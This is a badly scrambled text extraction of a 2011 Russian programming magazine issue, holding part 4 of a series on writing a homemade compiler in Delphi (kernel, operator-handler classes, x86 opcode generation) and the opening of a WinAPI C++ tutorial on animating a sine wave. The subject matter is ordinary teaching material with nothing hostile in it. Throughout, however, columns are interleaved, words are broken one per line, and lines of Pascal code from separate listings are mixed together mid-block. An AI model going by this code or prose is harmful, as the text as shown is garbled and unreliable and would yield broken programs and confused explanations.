под
оператору
гавкает
ногами
на
ядра-
далее инициируем цикл. В нем проходим по операндам, выясняем их сущность (число это или
строка),
и
в
зависимости
от
этого
вызываем нужный метод класса-обработчика, передав ему соответствующий операнд. Тут
ЛАБОРАТОРИЯ
новых введений. Для начала обратим внимание
как можно подробнее сгруппировать действия по компиляции. Классов получилось много, но зато действия
по
определенной
операции
локализованы и не мешают друг другу. Так и здесь.
Для
каждого
оператора
должно
создаваться свое ядро-обработчик, естественно вложенные
операторы
будут
так
же
СОДЕРЖАНИЕ
31
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
пропускаться через этот обработчик. Здесь же ядру
передается
секция
данных,
где
будут
располагаться переменные (MemberSection). Мы
вернемся к описанию ядра чуть позже, ибо от него
тянется
рассмотреть пояснить
цепочка,
подробнее,
еще
один
а
которую
пока
момент****.
стоит
необходимо
Вот
сейчас и поговорим об этом удобстве:
давайте
// Не забыв его закрыть. CloseFile(f); end;
Естесственно компилятор нужно создать и после работы освободить:
constructor TAlisa.Create(AOwner: TComponent); begin
TAlisa=class(TComponent)
inherited;
private
Compiler:=TAlisaCompiler.Create;
// Обьект компилятора - мотор
Compiler.ParentAlisa:=self;
Compiler:TAlisaCompiler;
MemberSection:=Compiler.NewSection('Данные',dataSec);
// Секция данных. Определим ее пока что одну
end;
MemberSection:TAlisaSection; // Исходник, скармливаемый мотору
destructor TAlisa.Free;
FSource: String;
begin
procedure SetSource(const Value: String);
Compiler.Free; Compiler:=nil;
public
end;
Property Source:String read FSource write SetSource; Constructor Create(AOwner:TComponent); override; Destructor Free; // Метод, построения ( сюда же можно прикрутить запуск) Procedure Run(AFileName:String);
обертка
для
пользователя.
Согласитесь,
когда вы пишете и компилируете программы, вам
совсем не хочется знать какими методами будет
сформирован выходной файл. Вас интересует его имя
и
путь,
куда
он
ляжет
плюс
конечно
исходный код. Именно этими вопросами и будет
заниматься эта обертка, управляя компилятором. Программист скармливает объекту этого класса исходный код в свойство Source, и вызывает метод
Run,
который
уже
практически
исключением занимается
нечего
создания
метод
комментировать
секции
компилятора
данных,
за
чем
NewSection.
Помните, я писал, что имя секции может быть
любое? Напишем его на русском, что тут такого?
end;
Это
Тут
сам
напрягает
компилятор (предварительно его создав, конечно же) на генерацию опкода, и он же формирует выходной файл:
procedure TAlisa.Run(AFileName: String); var f:file of byte;cdata:String;
Лишь бы вместилось в 8 символов. Естественно не забудем скормить компилятору операцию на точке входа – главную функцию, чем и займется обработчик свойства Source:
procedure TAlisa.SetSource(const Value: String); var Mainsource:String;
b,f,t:integer;
begin FSource := Value; // Находим начало главной функции f:=pos('(main',FSource); b:=1;t:=f; while (b>0)and(t<=length(FSource)) do begin if FSource[t]='(' then inc(b); if FSource[t]=')' then dec(b); inc(t); end;
begin // Готовим файл
// Найдя ее последний брекет, передадим ее тело компилятору
AssignFile(f,AFileName);rewrite(f);
Mainsource:=copy(FSource,f,t-f+1);
// Просто таки требуем от компилятора танцев
Compiler._Code._Data:=Compiler._Code._Data+Compiler.
// над исходником
_Code.Operator(Mainsource)+#$C3;
cdata:=Compiler.Compile;
// C3 - это опкод ret. Наша программа должна завершиться
// Все его телодвижения записываем открытой строкой
// корректно. Можно будет потом при желании, когда научимся
// в файл.
// импортировать функции использовать ExitProcess
BlockWrite(f,cdata[1],length(cdata));
ЛАБОРАТОРИЯ
end;
СОДЕРЖАНИЕ
32
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
В принципе можно было натравить на программу
парсер, но вдруг нам захочется еще какие то механизмы директив прикрутить… Пока проще
оформить вычленение кода главной функции
простейшими операторами. На будущее стоит помнить про один недостаток такого – в строках
могут присутствовать круглые скобки. Парсер наш уже умеет строки отличать, а вот этот код
еще нет. Но, мы пока что не умеем работать со строками, поэтому оставим это на последующие
апдейты компилятора. В любом случае его нужно будет дополнять новыми методами, классами и прочей, гарантирующей удобство, мишурой.
Посмотрим на главную программу. Она будет выглядеть просто и незатейливо – на главной форме будет Мемо поле, куда будет грузиться
или писаться исходный код. А в обработчике, допустим нажатия горячей клавиши <F9>, будет такое:
операторы. описании:
Посмотрим,
как
оно
выглядит
TAlisaOperRes=record Res:String;
// Скомпилированная операция
TypeofOperator:TypeOper; // Тип операции end; TAlisaKernel=class private // Секция, на которую ядро будет ссылаться // В данном случае ссылаться оно должно на секцию данных // с которыми будет оперировать ParentSection:TAlisaSection; // Эти поля понадобятся для того чтоб передавать объекту //-обработчику очередной операнд, приведенный к // соответствующему для него типу FoundedMem:TAlisaMem; FoundedInt:Integer; FoundedDouble:Extended; FoundedString:String;
var a:TAlisa;
// Этот метод призван инициализировать компиляцию,
begin
// заставив объект-обработчик оператора выполнить трансляцию
Memo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+
// в машинные коды
'file.source');
Function CompileOper(Scaner:TAlisaScaner):TAlisaOperRes;
a:=TAlisa.Create(nil);
// Но перед этим необходимо этот объект подготовить
a.Source:=Memo1.Lines.Text;
// корректно создать - чем и займется следующий метод
a.Run(ExtractFilePath(ParamStr(0))+'File.exe');
Function PrepareOperation(Oper:string):TAlisaReserved;
a.Free;
// Для удобства я предлагаю выделить определение типа
Close;
// операнда в отдельную функцию
end;
Function WhatIs(Obj:String):TypeOper;
Ничего особенного. Создается компонент Alisa, которому
скармливается
выполняется
метод
исходник
компиляции,
кода,
и
создающий
исполнимый файл. Ну, что... Вроде платье само сшито. Давайте заглянем непосредственно по него.
остановились
на
объектам,
**** Комментарий автора. В
предыдущих
статьях
я
классе
TAlisaKernel.
описал
отвечающим
главный
класс
за
свои
компиляции
TAlisaCompiler, который по идее должен генерировать выходную
строку, записываемую в файл. Но сам по себе он некрасиво смотрится. Голо. Как автомобиль без кузова. Поэтому я решил, что красивее будет и его обернуть в оболочку.
ЛАБОРАТОРИЯ
// Главный метод, которому будет передаваться исходный код Function Operator(ASource:String):TAlisaOperRes; Constructor Create(ASection:TAlisaSection); Destructor Free; end;
– поля, которые будут принимать очередной
Напомню – это ядро, передающее задания на компиляцию
public
На что здесь стоит обратить внимание? Founded
Enter the machine… Мы
в
операнд,
который
будет
приведен
в
определенный тип, согласно своему виду. Если
это целое – то проинициализируется FoundedInt, операнд будет приведен к целому типу. Если это имя переменной, FoundedMem получит объект из списка
переменных,
и
передастся
классу-
обработчику, а тот уж пусть сам разбирается что с ним делать (помните, «котлеты стоит держать
подальше от мух, а то котлеты всех мух съедят», они такие) и так далее. По мере надобности
можно будет подкидывать поля новых типов,
СОДЕРЖАНИЕ
33
ПРО
граммист
№11 (февраль) 2011
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
функций, массивов, объектов и прочее.
ThisOperator:TAlisaReserved; op:TAlisaOperRes;
Схема тут проста: • •
begin // Приготовим выходную переменную очистив от мусора
методу Operator передается исходный код;
он инициализирует его локальный парсинг, и вызывает код компиляции CompileOper; тот
в
свою
PrepareOperation
очередь
путем
вызова
подготавливает
класс-
обработчик, а после в цикле, проходя по распарсеным
операндам,
классу-обработчику. Поскольку
все
эти
классы
скармливает
унаследованы
их
от
одного класса-шаблона, и имеют общий набор
методов – ядру по все равно, что там объектобработчик будет делать в них, он просто их вызовет,
передав
им
операнд,
любезно
op.Res:=''; // На основании первого элемента выражения, который определяет // операцию, является собственно оператором, создадим и // приготовим объект, отвечающий за компиляцию конкретного // оператора с его операндами ThisOperator:=TAlisaReserved(PrepareOperation(Scaner[0])); // Если оператор не распознан то ничего не делать, завершив // функцию Ничего не будет скомпилированно if ThisOperator=nil then exit; ThisOperator.ItFirstDoubleOperand:=true; // Передаем в объект-обработчик парсер. Он там может // пригодится. ThisOperator.Scaner:=Scaner;
препарированный методом WhatIs. Этот метод
{ TODO : Ядро транслятора }
божескому виду, согласно ему в цикле и будет
// эта строчка для операторов, в которых нужно делать подмену.
типа операнда. Смотрите:
if ThisOperator is TAlisaSelfOper then begin
определит, какого типа операнд, и приведет его к вызываться тот или иной метод в зависимости от
// Например для += m 2 нужно будет подменять := m (+ m 2) // Это для += -= и прочих самоприсваиваемых-операций
function TAlisaKernel.Operator;
op.Res:=ThisOperator.OnDouble(0);
var i:integer; Scaner:TAlisaScaner;
end else begin
begin
// Циклом по распарсеным операндам
// Проинициализируем выходные от функции, чтоб невзначай
for i:=1 to Scaner.High do begin
// мусора не было
// Передавая объекту номер операнда, с которым ему нужно
Result.Res:='';Result.TypeofOperator:=_Unknown;
// работать Это пригодится для инициализации регистра первым
// Если исходного кода нет, то и делать нам нечего
// операндом
if ASource='' then exit;
ThisOperator.OperandNumber:=i;
// Создадим парсер для выражения
// Проверяем тип операнда, и если возможно приводим его,
Scaner:=TAlisaScaner.Create;
// помещая значение в Found-поля. В зависимости от типа
// Передав в него исходник
// операнда вызывается метод объекта-обработчика,
Scaner.Text:=ASource;
// отвечающего за свой тип
// Запустим цикл компиляции
case WhatIs(Scaner[i]) of
Result:=CompileOper(Scaner);
_Int:op.Res:=op.Res+ThisOperator.OnInt(FoundedInt);
// После чего освободим парсер.
_Double:op.Res:=op.Res+
Scaner.Free;
ThisOperator.OnDouble(FoundedDouble);
end;
_Operator:op.Res:=op.Res+
Комментарии, надеюсь, понятные. Перед тем как распарсить исходник и передать его циклам ядра укажем
тип
операции
_Unknown.
Это
будет
говорит о том, что пока нам тип результата этого
выражения еще не известен. Теперь «потопаем» в циклы:
ThisOperator.OnOperator(FoundedString); _Member:op.Res:=op.Res+ThisOperator.OnMember(FoundedMem); end; end; end; // После чего результирующий тип возвращаем. Иногда // родительскому выражени полезно знать что вернуло его дите,
function TAlisaKernel.CompileOper;
// чтоб корректно привести к единому типу
var i:integer;
op.TypeofOperator:=ThisOperator.TypeOfLastOperand;
ЛАБОРАТОРИЯ
СОДЕРЖАНИЕ
34
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
// Не забываем освобождать объект-обработчик.
FoundedString:=Obj;
ThisOperator.Free; ThisOperator:=nil;
exit;
// и возвращать скомпилированный результат-строку
end;
Result:=op; end;
// В противном случае
Обратите внимание на класс TAlisaReserved. Это и
есть
которого
наш
шаблон.
Абстрактный
классы-обработчики
класс,
от
операторов
унаследуют свои главные методы, которые будут вызваны в цикле ядра. ООП «рулит», как ни крути.
Попозже, при рассмотрении тел обработчиков операторов, класса,
а
мы
вернемся
сейчас
к
описанию
рассмотрим
определяющую тип операнда:
этого
функцию,
function TAlisaKernel.WhatIs(Obj: String): TypeOper; var m:TAlisaMem;
i:integer;d:Double;
begin // Если операнд пустая строка то вернуть тип, дающий ядру // понятие что с ним не стоит работать, потому как он // нераспознан if Obj='' then begin Result:=_Unknown;exit; end;
это имя объекта
m:=ParentSection.Mem(obj); if m=nil then begin m:=ParentSection.NewMem(Obj,0); m.TypeMem:=_Unknown; end; Result:=_Member; FoundedMem:=m; end;
По мере добавления новых типов, эта процедура должна будет пополняться новыми механизмами
приведения типов. Пока что нам хватит и этого. Функций у нас нет, а значит, определению переменной дается приоритет. Именно поэтому я
поместил в этот код создание новой переменной, если
операнд
не
число
и
действие классу-обработчику, отвечающему за оператор присваивания. Поживем – увидим. А теперь
давайте
посмотрим
в
кастрюлю,
готовятся объекты-обработчики оператора: function TAlisaKernel.PrepareOperation;
// удачей, поместить его значение в Found-поле, которое подходит
begin
if TryStrToInt(Obj,i) then begin
выражение.
этого метода создание переменной, отдав это
// Если попытка привести операнд к целому числу окончится // к типу переменной и выйти
не
Возможно, в дальнейшем понадобится убрать из
где
Result:=nil; // Не забудем что наш язык регистронезависимый, потому приведем
Result:=_Int;
// имя оператора к нижнему регистру как бы он ни был написан.
FoundedInt:=i;
Oper:=AnsiLowerCase(Oper);
exit;
// Если оператор содержит имя ":=" то создать определенный класс
end; if Oper=':=' then
Result:=TAlisaSet.Create
else
// Если это не целое число, может быть оно вещественное?
// Иначе попробовать следующую проверку
// При этом будем считать, что разд-ем в числе должна быть точка
if (Oper[length(Oper)]='=')and(length(Oper)>1) then begin
DecimalSeparator:='.'; if TryStrToFloat(Obj,d) then begin Result:=_Double;
Result:=TAlisaSelfOper.Create; TAlisaSelfOper(Result).Operation:=copy(Oper,1,length(Oper)-1); end else
FoundedDouble:=d;
// и так далее по остальным операторам, зарезерв-м словам
exit;
if Oper='+'
end;
then
if Oper='++' then // Если же операнд не число, и первый его символ брекет // открывающая скобка, то это вложенное выражение, и нужно его // преподнести как оператор для рекурсивного вызова if Obj[1]='(' then begin Result:=_Operator;
ЛАБОРАТОРИЯ
Result:=TAlisaPlus.Create
else Result:=TAlisaInc.Create
else if Oper='--' then
Result:=TAlisaDec.Create
else if Oper='-'
then
Result:=TAlisaMinus.Create
else
СОДЕРЖАНИЕ
35
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
if Oper='*'
then
классы-обработчики
Result:=TAlisaMul.Create
компилятора.
else
операционных
if (Oper='sin')or(Oper='cos')
if pos(Oper,'/ % div mod делить остаток')<>0 then begin // Если нужно поделить и вернуть вещественное
Прежде
TAlisaDiv(Result).TypeDiviation:=1;
Это
вариться
выливаясь
в
тигли
металл порой
чем
начать
описывать
кишки
этих
классов, давайте в теории расставим все «И» под
// Если нужно поделив взять остаток
точками, чтоб было понятно, кого за что ругать.
if (Oper='%')or(Oper='mod')or(Oper='остаток') then
У нас есть куча классов, которые наследуются от
TAlisaDiv(Result).TypeDiviation:=2;
абстрактного
// Если нужно поделить и вернуть только целое
класса-шаблона.
генерируют
if (Oper='div')or(Oper='делить') then
смесь
Эти
классы
опкодов,
выдавая
ассемблерные операции (в виде строки байтов,
TAlisaDiv(Result).TypeDiviation:=3;
которые характеризуют ту или иную операцию).
end;
Во второй части в конце статьи был дан пример,
if Result<>nil then
показывающий наготу машинного кода в байтах.
Result.ParentKernel:=self;
Вспомним:
end;
Здесь, в этом салате, представлена банальная
лесенка из условий – если оператор такой-то, создать объект соответствующего класса, иначе сходимость
со
следующим
зарезервированным словом. По мере пополнения
языка зарезервированными словами эта часть компилятора
кодов,
будет
Lets heavy metall…
Result:=TAlisaDiv.Create;
на
операторов.
языке.
else
проверить
них
причудливые формы – программы на машинном
then Result:=TAlisaTranc.Create(Oper)
if (Oper='/') then
В
может
пополняться
новыми
#$A1#$00#$20#$40#$00#$C3. Это
вид ассемблерного оператора, помещающего в регистр
число
из
последовательность
классы-обработчики
памяти.
и
Именно
должны
такую
генерировать
операторов
в
выходную
строку. Я еще раз напомню, что предлагаю (и позже вы это увидите) сгруппировать механизмы по своим признакам:
сверками. Обратите внимание – я для показухи
•
каждый
Почему бы нет? Точно так же можно написать:
•
cтроку опкодов, типа представленной выше,
оператор
деления
описал
if (Oper='-')or(Oper=’Вычесть’)
разными
словами.
не
мешает
зарезервированных
слов
нам в
сделать
разном
дубли
обличии.
этого делать – сокращается число возможных
имен функций. На переменные это вряд ли
как имя переменной не должно
стоять на месте оператора, а вот если мы будем
описывать функции – имя функции вполне может идти в качестве имени оператора – первым в
списке парсера. Поэтому не стоит уж очень
расширять лики одного оператора, тем более, что знак минуса привычнее слова. Ну, да ладно, это уж
выбирать
путешествие глюков».
в
каждому.
недра…
А
мы
будущих
продолжим
«залежей
В представленном выше коде уже можно увидеть
ЛАБОРАТОРИЯ
передать
под
покровительство
в
функций,
их вызывают.
Единственный момент, по которому не стоит повлияет, так
отдельный модуль;
помещается
возвращающих эту строку классам, которые
then
Result:=TAlisaMinus.Create
Ничего
класс-оператор
Для этих функций выделить отдельный модуль, подключаемый
во
всех
классах-обработчиках
операторов. Например, функция типа: function PushEAX; begin Result:=#$50; end;
будет возвращать опкод команды помещения значения регистра ЕАХ***** в стек.
Думаю, такая схема будет удобна. Опкоды будут собраны в один модуль, обработчики в другой (другие) модули. Никто не будет мешать друг другу,
если
добавить
понадобится
новую
быстро
команду-опкод
найти
не
или
придется
СОДЕРЖАНИЕ
36
ПРО
граммист
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
Рис. 4. Сопроцессор долго лазить по модулю ядра, выискивая, где же это его нужно добавить.
класс-шаблон, описывающий методы, общие
для всех классов-обработчиков операторов, которые
•
наследуя
обрабатывать;
классы-обработчики вызывать
функции,
опкодов,
какие
методов
вызван
им
их,
будут
по-разному
оператора
возвращающие понадобятся
будут
в
строку ходе
компиляции, в зависимости от того какой из •
–
обработки
целого
переменной, и от того какой оператор;
или
сами же функции, возвращающие опкоды, будут
преспокойненько
транслировать
в
строку машинный язык, находясь на своей территории в отдельном модуле.
Вот давайте и пройдемся по этой схеме начиная
с самого начала и заканчивая тем чем должно ***** Комментарий автора.
Ассемблерная команда PUSH EAX как раз имеет код 50h. Встретив
байт этого кода, процессор знает, что ему нужно поднатужить стек программы еще одним числом из регистра. Будет применяться часто, например, перед отработкой вложенного выражения, дабы сохранить уже вычисленную часть выражения.
ЛАБОРАТОРИЯ
иметь представления о том, как будут выглядеть его дети:
То есть получается следующая иерархия: •
закончится. Сначала опишем класс-шаблон, чтоб
TAlisaReserved=class protected // Поле, определяющее приведение к типу, наиболее // подходящему для дальнейшей обработки TypeOfLastOperand:TypeOper; // Парсер. Пригодится ;) Scaner:TAlisaScaner; Private // Объекты, вызвавшие объект. Тоже пригодятся ParentKernel,ParentOperator:TObject; public // Поле покажет, встречались ли в выражении уже вещественные. ItFirstDoubleOperand:Boolean; // Номер операнда OperandNumber:Integer; // Методы. Для каждого типа операнда свои. Function OnInt(i:integer):String;
dynamic;
Function OnDouble(d:Extended):String;
dynamic;
Function OnOperator(Oper:string):String;
dynamic;
Function OnMember(m:TAlisaMem):String;
dynamic;
Function OnString(s:string):String;
dynamic;
Function OnArray(a:string):String;
dynamic;
Function OnFunc(m:TAlisaMem):String;
dynamic;
end;
СОДЕРЖАНИЕ
37
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
Давайте я поясню, что тут к чему предлагается
вен
тип результата выражения. Проблема вот в чем.
выражение, его уже не приведешь к целому типу
подробнее. TypeOfLastOperand – призван хранить Процессор
на
существо».
самом
Он
деле
может
–
оперировать
«узколобое только
–
это
разрядность
В начале, оно даст целочисленный результат – 2*5=10 (точно 10? Проверьте на калькуляторе).
будет естественно целым. Мало того, что он
И ресурсов ЦП (это центральный процессор)
вполне умещается в 32 бита регистра, так и для
вполне хватит на эту часть вычисления. А потом
таких результатов созданы все условия, чтобы
«облом». Всплыло вещественное число. Значит,
они себя комфортно чувствовали (помните – я переменные
байт)
А ведь может быть и такое выражение – 2*5-3.7.
обработать центральным процессором. Результат
наши
(10
округлить), поскольку результат будет неверным.
есть выражение типа 2+3*5, его вполне можно
что
битам
(если конечно не дать в программе указание
с
целыми числами, да и то не со всеми. Если у нас
упоминал,
80
регистров сопроцессора. Если встретится такое
придется
будут
результат
уже
вычисленного
выражения передавать сопроцессору, поскольку
вариантного типа). Они вполне без особенных
«главный камушек» уже разводит руками мол
командами «центрального камушка», обнимут
задавали». А стало быть, и тип выражения уже
усилий,
руководствуясь
только
стандартными
«Сори, ребята это мы не проходили это нам не
результат. В этом случае, тип выражения и
должен изменится, чтоб последующие операнды
результата – целое число. А представим, что у нас
выражение
2.56/85.30.
в любом случае приводились к вещественному –
Центральный
все равно нигде не указано что нужно 3.7
процессор не умеет работать с вещественными числами.
Для
содержится
помещается
этого
«коморка
в
математи-
недрах
компьютера
папы
FPU»,
ческий сопроцессор. Во! вец
(из
примеру,
4).
Правда,
Википедии
выдернул,
см.
рисунок
это
287-й,
использовавшийся в старых компьютерах. «Честное пионерское», – я не
знаю, как сейчас дела обстоят с современными процессорами. Если наш уважаемый достанет менного
редактор
фотки
совре-
сопроцессора,
любопытно будет на него посмотреть******. Так
вот,
работой
с
вещественными числами
заведует именно он. И для
него
ботана
была
особая
машинных
разра-
линейка
команд.
И,
стало быть, наше выражение
выполнять
ему.
Выше я уже говорил, что максимальный
размер
вещественного числа ра-
ЛАБОРАТОРИЯ
нельзя. Именно для этого необходимо иметь
где
****** Комментарий редакции.
Смотрите, какой краса-
округлить, значит так просто отбрасывать 0.7 свойство
класса,
процессором
с
каким
работать
(имеются ввиду числен-
Мы немножко поискали. Вот, к так
указывающее ные
выглядит
арифметические
внешний сопроцессор SIS 301
операции).
TV-out,
Условимся, что приори-
со вторым RAMDAC и кодеком установленный
на
видеокартах Xabre 400/600.
тет
Часто так бывает, что сопроцессор интегрирован в основной процессор.
Подобным
образом
реализованы
процессоры
Intel
семейства PXA, построенные на базе микроархитектуры Xscale
(суперконвейерной RISC-технологии). В семействе XPA 27x после четырех общих операций (определение инструкции – чтения регистрового конвейера
–
файла)
могут
X-pipeline
мультимедийных
использоваться
(основной),
инструкций
три
M-pipeline
интегрированным
независимых
(исполнение 40-битным
сопроцессором аппаратного умножения с накоплением (MAC)) и возможностью исполнения команд EMMX/SSE, D-рipeline (чтение и запись новых инструкций из кэша).
обработки
венных
чисел
веществыше
приоритета целых, если
конечно явно не будет указана
округления, кстати,
придется.
инструкция
еще
которую, писать
Потом,
не
сейчас, но придется. То
есть, как только встретилось
венное,
первое вся
веществласть
переходит в руки сопроцессора. В рамках одного выражения, конечно. Вложенные выражения
вполне могут обрабатываться ЦП, если там нет необходимости ления
вычис-
вещественных.
Однако и такие вложенные выражения должны быть
приведены
к
ве-
СОДЕРЖАНИЕ
38
ПРО
КОМПИЛЯТОР ДОМАШНЕГО ПРИГОТОВЛЕНИЯ. ЧАСТЬ 4
№11 (февраль) 2011
граммист
щественному типу, если уже стало ясно, что в выражении всплыло вещественное значение.
обработку вложенных выражений по умолчанию: function TAlisaReserved.OnOperator;
С приведением типов предварительно разобра-
var op:TAlisaOperRes;
лись, поедем дальше. OperandNumber – зачем и
begin
кому он нужен? Поясню. Возьмем выражение 2+3.
От
перестановки
слагаемых
сумма
// компилируем выражение по умолчанию
не
// Все равно его придется компилировать везде и всюду
меняется. Представим, что у нас есть регистр процессора,
который
изначально
нам
op:=TAlisaKernel(ParentKernel).Operator(Oper);
кто-то
// Возвращаем результат
«тихий и большой» приготовил, поместив в него
Result:=op.Res;
ноль. Регистр чистый. Нам можно без тени
// и тип результата
сомнения прибавить к нулю 2, а потом еще
TypeOfLastOperand:=op.TypeofOperator;
прибавить 3, вот так: 0+2+3. Получится тот же результат.
Нам
не
понадобилось
помещать
end;
первую 2 в регистр, ибо, как уже сказано, от
А в наследуемых классах, просто вызывать метод
можно было бы воспользоваться, организовать
компилировать
перестановки... В общем, все в «ажуре». И этим
цикл, перед которым командой XOR очищать плацдарм регистра, а потом в цикле одной и той же командой суммирования проталкивать все
выражение. Кода, как «кот наплакал», все просто
и прозрачно. Но, на этом веселье заканчивается. Возьмем 2-3. С ним такой фокус не пройдет. Нельзя
переписать
его
безнаказанно
в
родителя – все равно во всех их придеться
всех
операндов
операцию
разности,
использовать результат
так
крылышком предка», расположенного в одном
же модуле с компилятором, что дает ему доступ к полям компилятора. Тела остальных методов я описывать не буду, они пустые, вроде этого: function TAlisaReserved.OnInt;
только
begin
будет
неправильный. Сначала придется поместить в
регистр первую 2, а уж потом от нее отнять
выражения,
когда можно четко выделить ему место «под
выражение 0-2-3. То есть, нельзя будет в цикле для
вложенные
зачем этот «механайз» пихать во все классы,
end;
последующие операнды. И именно для этого нам
Проще не бывает, пока что. Все их тела будут
помещаем,
выразиться.
понадобится
а
это
свойство.
все
относительно первого.
Первый
остальные
операнд
обрабатываем
Теперь, что касается абстрактных методов. Как
разные,
полиморфные,
если
можно
так
PostScriptum
было выше сказано, цикл ядра будет вызывать их
Все эти классы желательно описать в одном
операнда.
подключаемыми модулями, во-вторых, свойства
согласно типу операнда, передавая им значение Наследуемые
классы
могут
не
переопределять все методы, это не обязательно. Например, у меня пока что определены только методы
работы
с
числами,
переменными
и
вложенным выражением. Остальные все потом
по мере наворачивания компилятора. Допустим, я пока еще не знаю, как лучше описать работу со строками, видимо понадобится импортировать
модуле.
Во-первых,
самое
перспективу. Единственное внимание
–
с
массивами.
на
что
можно
ЛАБОРАТОРИЯ
Пусть
стоит
передать
еще
будут
на
обратить
шаблону-классу
проблем
с
этих классов тесно связаны между собой, а
значит, область их видимости должна быть одна и та же. Так что следует их поместить в тот же модуль
к
формируют
остальным
PE
и
MZ
классам,
заголовки,
которые
ведают
секциями, и запускают машину компиляции.
функции операционки, распределяющие память, тоже
меньше
Продолжение следует… The Чтиво •
Flat Assembler 1.64. Мануал программиста http://flatassembler.narod.ru/fasm.htm
СОДЕРЖАНИЕ
39
ПРО
АНИМИРОВАННЫЙ ОСЦИЛЛОГРАФ НА WINAPI В С++
№11 (февраль) 2011
граммист
В этой небольшой статье я бы хотел продемонстрировать, как создается окно и как рисовать средствами GDI+. Возможно данный материал будет полезен всем тем, кто хочет разобраться с созданием графический приложений Windows, средствами WinAPI, тем более в преддверии нового учебного года, новых лабораторных, новых сессий. Анимироваться, в данной статье, будет синусоида, получится своего рода осциллограф... Олег Кутков
какое именно сообщение пришло. Объявим еще
by Oleg Kutkov elenbert@gmail.com
две вспомогательные переменные:
Для создания этого приложения я использовал среду
Microsoft
Visual
C++
6.0.
Вы
можете
TCHAR szTitle[] = "Осциллограф"; TCHAR szWindowClass[] = "oscill";
использовать более поздние версии Visual Studio,
Это две строки, первая – текст, который будет
новое Win32 приложение, но укажите опцию,
окна
а так же Dev C++. Запустите IDE и создайте запрещающую
генерацию
нужен чистый проект.
любого
кода,
нам
Так как мы собираемся использовать WinAPI
отображен в заголовке окна, вторая – имя класса (это
имя
программистом).
выбирается
самостоятельно
Готовим тело приложения…
функции, а так же некоторые математические
Вот мы и подобрались к самой главной функции
подключить два заголовочных файла:
выполняет
функции,
в
начале
программы
следует
Windows приложения – WinMain. Эта функция
•
#include <math.h>
Так же, в программе, нам понадобится значение числа Пи, объявим его здесь же:
•
#define WIN32_LEAN_AND_MEAN // для более быстрой компиляции
приложение
имеет
так
называемую оконную функцию обратного вызова. Это особая функция, которая не вызывается
непосредственно в приложении, ее вызывает операционная
система,
отсюда
и
название
функции. Вызов это функции происходит каждый раз,
когда
приложению
приходит
какое-либо
сообщение: перерисовать окно, нажата кнопка, приложение
закрыто.
Данная
функция
будет
• •
роли
функции
hInstance
вызывать из любой точки программы, объявим ее в начале:
LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
Функции передаются параметры, указывающие
какому окну адресуется это сообщение, а также,
–
дескриптор
приложения, присваеваемый операционной системой;
HINSTANCE hPrevInstance – параметр, ныне не
используемы,
приложениями; LPSTR
lpCmdLine
аргументы argv[];
оставленный
с
запуска
–
очень
строка,
для
старыми
содержащая
приложения,
аналог
int nCmdShow – режим показа главного окна (свернутое, развернутое, по умолчанию).
Общее объявление функции выглядит как: int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
реализована чуть ниже, но что бы ее можно было
АРХИВ
HINSTANCE
совместимости
#define Pi 3.14159265
Windows
аналогичную
main. WinMain принимает ряд аргументов:
#include <windows.h>
Каждое
роль,
LPSTR lpCmdLine, int nCmdShow) { }
Параметр WINAPI перед функцией обозначает, что функция является особой WINAPI функцией и нужен операционной системе. Далее, в самой
функции, нам следует объявить три переменные,
СОДЕРЖАНИЕ
40
ПРО
граммист
АНИМИРОВАННЫЙ ОСЦИЛЛОГРАФ НА WINAPI В С++
№11 (февраль) 2011
дескритор
окна,
структура окна:
системное
сообщение
и
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0, CW_USEDEFAULT, 0,
HWND hWnd;
NULL, NULL, hInstance, NULL);
MSG msg; WNDCLASSEX wcex;
После
объявления
if(!hWnd)
переменных,
следует
{ // В СЛУЧАЕ ЧЕГО, ГОВОРИМ ОБ ОШИБКЕ
заполнить поля структуры, ниже показано как, с
MessageBox(hWnd, "Ошибка создания окна",
комментариями:
"Ошибка", IDI_ERROR || MB_OK); return 1;
// размер структуры
}
wcex.cbSize = sizeof(WNDCLASSEX);
Теперь окно можно показать на экране:
// задаем стиль окна, подробнее в MSDN wcex.style = CS_HREDRAW | CS_VREDRAW; // указываем оконную процедуру
ShowWindow(hWnd, nCmdShow);
wcex.lpfnWndProc = (WNDPROC)WindowProcedure;
Мы подобрались к самому концу функции, здесь
wcex.cbClsExtra = 0;
нас
wcex.cbWndExtra = 0;
ждет
очень
запускается
// указываем дескриптор приложениея wcex.hInstance = hInstance; // устанавливаем иконку приложения по умолчанию
важный
цикл
операционной системы:
wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
while(GetMessage(&msg, NULL, 0, 0))
// устанавливаем курсор по умолчанию
{
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
тут
сообщений
}
// меню окна - нет меню
Это
wcex.lpszMenuName = 0;
цикл,
с
помощью
функции
GetMessage,
выбирающий следующее сообщение из очереди
// указываем класс окна
сообщений и выполняющий его преобразование
wcex.lpszClassName = szWindowClass; // загружаем иконку окна wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
Далее необходимо зарегистрировать класс окна, с обязательной проверкой результата:
и обработку. Цикл заканчивается, как только приходит сообщение WM_QUIT и GetMessage возвращает
false.
В
самом
конце
следует
написать return msg.wParam. Функция WinMain завершена.
Теперь на очереди реализация вышеобъявленной
if(!RegisterClassEx(&wcex)) { MessageBox(hWnd, "Ошибка регистрации класса окна", "Ошибка", IDI_ERROR || MB_OK);
функции WindowProcedure. В ней происходит обработка
всех
соответствующих
